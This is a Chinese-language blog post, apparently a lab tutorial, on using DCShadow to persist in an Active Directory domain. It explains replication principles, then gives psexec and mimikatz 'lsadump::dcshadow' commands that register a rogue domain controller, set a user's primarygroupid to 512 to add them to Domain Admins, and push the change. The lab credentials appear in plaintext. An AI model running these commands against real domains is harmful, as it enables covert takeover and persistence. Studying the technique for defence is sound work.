域渗透权限维持之DCShadow

域渗透权限维持之DCShadow

前言

随着企业信息化程度的加深,内网环境逐渐成为攻击者的关注的重点目标,在内网渗透的过程中权限维持是不可或缺的关键环节之一,它往往决定了攻击者能否在目标系统中长时间潜伏,获取敏感信息或者造成更大范围的破坏。

简介

在具备域管理员的情况下,攻击者可以创建伪造的域控,将预先设定的对象或者对象属性复制到正在运行的域服务器中,dcsync&dcshadow区别在于,前者从服务器复制出来东西,后者将数据复制进目标服务器使得正常的DC通过伪造的DC复制数据 主要攻击步骤 通过dcshadow更改配置架构和注册spn从而实现在在目标AD活动目录内注册一个伪造的的DC 使得伪造的DC被其他的DC认可,能够参加域复制 在伪造的DC上更改数据 强制触发域复制,使得指定的新对象或修改后的属性能够同步进入其他的DC中 前提条件 DCShadow是需要拥有domain admins也就是域管权限,因为要注册spn值等,因此也就不算是权限提升的利用,反而是一种持久化利用

原理分析

微软MS-ADTS(MicroSoft Active Directory Technical Specification)中指出,活动目录是一个依赖于专用服务器架构。域控便是承载此服务的服务器,它托管活动目录对象的数据存储,并与其他的域控互相同步数据,以确保活动目录对象的本地更改在所有域控之间正确的复制。域控间的数据的复制由运行在NTDS服务上一个名为KCC(Knowledge Consistency Checker)的组件所执行。

KCC的主要功能是生成和维护复制活动目录拓扑、以便于站点内和站点之间的扑拓复制。对于站点内的复制,每个KCC都会生成自己的连接;对于站点之间的复制,每个站点有一个KCC生成所有连接。

两种连接类型,如图所示:


默认情况下,KCC组件每隔15min进行了一次域控间的数据的同步。使用与每个活动目录对象相关联的USN,KCC可以识别环境中发生的变化,并确保域控在复制扑拓中不会被孤立。于是,我们猜测能不能自己注册一个恶意的域控,并注入恶意的对象。这样,KCC在进行域控间数据的同步时,就能将恶意域控上的恶意的对象同步到其他正常的域控上了。

漏洞攻击流程

整个漏洞攻击流程如下:

1)通过DCShadow 更改配置架构和注册SPN,从而实现在目标活动目录内注册一个伪造的恶意域控,并且使得伪造的恶意域控能被其他正常的域控认可,能够参与域复制。
2)在伪造的域控上更改活动目录数据。
3)强制触发域复制,使得指定的新对象或修改后的属性能够同步进入其他正常域控中,DCShadow 攻击示意图如图所示:

DCShadow攻击

实验环境如下:

域控主机:

  • 域控系统版本:Windows Server 2008
  • 域控主机名:owa
  • 域控IP:192.168.52.138
  • 用户名:administrator
  • 密码:hongrisec@2025

域内主机:

  • 域内主机:Windows7
  • 域内主机名:stu1
  • 域内主机IP:192.168.52.143
  • 域普通用户:god\test4
  • 密码:hongrisec@2025

先开第一个终端

这个命令是是在 域控 或域成员机上用来查看“Domain Admins”组的成员的

1
net group "domain admins" /domain

域内主机上已经登录一个普通域用户god\test4,其具有本地管理员权限。以本地管理员权限打开1个cmd窗口,还有用本地用户打开一个cmd窗口。

先以本地管理员权限使用psexec执行如下的命令获取一个具有System权限的cmd窗口,结果如图所示:

1
2
3
4
5
6
7
8
9
#点击windows图标搜索cmd以管理员打开
cd C:\pstools\pstools

psexec.exe -i -s cmd.exe

cd C:\x64
# 执行
mimikatz.exe
token::whoami

使用mimikatz执行如下的命令进行数据的更改监听,修改用户test4的primarygroupid的值为512,即将其添加到Domain Admins组中,结果如图所示:

1
2
#将用户test4的primarygroupid值赋值为512,即将其添加到Domain Admins组中
lsadump::dcshadow /object:CN=test4,CN=Users,DC=god,DC=org /attribute:primarygroupid /value:512

我们也可以执行其他活动目录的数据更改语句,常见的组ID和对应组的关系如图所示:

组ID 对应组
512 Domain Admins
513 Domain Users
514 Domain Guests
515 Domain computers
516 Domain Cotrollers

然后打开第三个终端,这个终端是普通用户权限,我们用psexec以域管理员权限god\administrator身份打开一个cmd窗口,然后执行如下的命令触发正常域控同步数据,如图所示:

1
2
cd C:\pstools\pstools
psexec.exe -u god\administrator cmd

执行它就好了,不用输入密码

然后我们再打开一个终端,这个终端是administrator权限

然后在这个终端输入

1
2
3
4
5
cd C:\x64
mimikatz.exe
token::whoami
## 执行如下的命令触发域复制
lsadump::dcshadow /push


可以发现第二个开启的终端已不在监听状态了


检验一下第一个终端

打开第一个终端

1
net group "domain admins" /domain

成功加入test4,利用成功


域渗透权限维持之DCShadow
http://example.com/2025/08/03/域渗透权限维持-DCshadow/
作者
奇怪的奇怪
发布于
2025年8月3日
许可协议